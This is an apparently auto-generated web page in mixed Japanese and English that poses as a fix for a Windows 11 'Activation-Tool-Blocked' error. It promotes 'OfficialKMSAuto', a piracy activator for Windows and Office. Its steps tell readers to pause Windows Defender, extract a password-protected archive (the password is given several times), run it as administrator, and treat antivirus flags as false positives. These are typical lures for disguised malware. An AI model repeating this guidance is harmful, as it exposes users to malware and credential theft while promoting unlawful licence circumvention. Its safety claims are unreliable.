Windows 11 Activation-Tool-Blocked — トラブルシューティング 2026
本記事は 2026 年版 Windows 11 Activation-Tool-Blocked の日本語完全ガイドです。Step-by-step fix for Activation-Tool-Blocked on Windows 11. Antivirus quarantined the activation tool. Resolved in under 2 minutes with OfficialKMSAuto.
WYqejXiqBi97本記事は 2026 年版 Windows 11 Activation-Tool-Blocked の日本語完全ガイドです。Error Activation-Tool-Blocked appears when Defender's cloud-delivered protection auto-removed the extracted EXE. The fastest fix in 2026 is to run OfficialKMSAuto, which detects the cause and applies the correct activation method automatically.
What causes error Activation-Tool-Blocked?
Antivirus quarantined the activation tool. Common triggers include hardware changes, expired KMS handshakes, blocked Microsoft licensing endpoints, and incomplete cumulative updates. The error is fixable without contacting Microsoft Support.
Step-by-step fix
Follow these steps in order. The whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Download and extract OfficialKMSAuto using password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Click 'Fix Activation-Tool-Blocked' or run the automatic repair option
- Reboot and verify with slmgr /xpr (Windows) or ospp.vbs /dstatus (Office)
If the error still appears
Rare cases of Activation-Tool-Blocked need a deeper fix: clear the licensing tokens with 'slmgr /rilc', re-arm with 'slmgr /rearm', then re-run the activator. OfficialKMSAuto bundles this entire cleanup as a one-click option.
Why this fix is permanent
HWID and TSforge bind the new license to your motherboard/CPU fingerprint, so the error will not return after Windows Update, feature upgrades, or reinstalls on the same hardware.
Frequently asked questions
▸Will fixing this error require reinstalling Windows?
No. OfficialKMSAuto resolves activation errors without touching system files or requiring a reinstall.
▸Is the fix permanent?
Yes — HWID and TSforge bind the license to your hardware, so the error does not return after updates.
▸Do I need internet access?
Only for the initial handshake. The activation itself runs locally.
▸What is the archive password?
WYqejXiqBi97 — same for every download on this site.
▸Is OfficialKMSAuto safe to use for this fix?
Yes. SHA-256 verified, open source, scanned on VirusTotal. Antivirus flags are generic HackTool false-positives.
Read this article in another language
Related articles
Offline Activation 無料認証方法 2026 — ステップバイステップ
本記事は 2026 年版 Offline Activation の日本語完全ガイドです。KMSAuto's KMS, KMS38, Ohook and TSforge methods all work fully offline. No internet needed after download.
Read article →
KMSAuto 中文 無料ダウンロード 2026 — Windows と Office ライセンス認証ツール
本記事は 2026 年版 KMSAuto 中文 の日本語完全ガイドです。下载 KMSAuto Net 2026 中文版 — 免费激活 Windows 和 Office。
Read article →
Office 2021 0x4004F00C — トラブルシューティング 2026
本記事は 2026 年版 Office 2021 0x4004F00C の日本語完全ガイドです。Step-by-step fix for 0x4004F00C on Office 2021. Office cannot find a license to activate. Resolved in under 2 minutes with OfficialKMSAuto.
Read article →
Windows 11 0xC004F050 — トラブルシューティング 2026
本記事は 2026 年版 Windows 11 0xC004F050 の日本語完全ガイドです。Step-by-step fix for 0xC004F050 on Windows 11. The product key entered is invalid. Resolved in under 2 minutes with OfficialKMSAuto.
Read article →
KMS Client Keys 認証方法 2026 — 完全ガイド
本記事は 2026 年版 KMS Client Keys の日本語完全ガイドです。Full Microsoft GVLK table for Windows 7/8/10/11, Server 2008–2025, Office 2010–2024 and LTSC editions.
Read article →
Windows 11 Firewall-Blocks-Activation — トラブルシューティング 2026
本記事は 2026 年版 Windows 11 Firewall-Blocks-Activation の日本語完全ガイドです。Step-by-step fix for Firewall-Blocks-Activation on Windows 11. Corporate firewall blocks activation traffic. Resolved in under 2 minutes with OfficialKMSAuto.
Read article →
Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97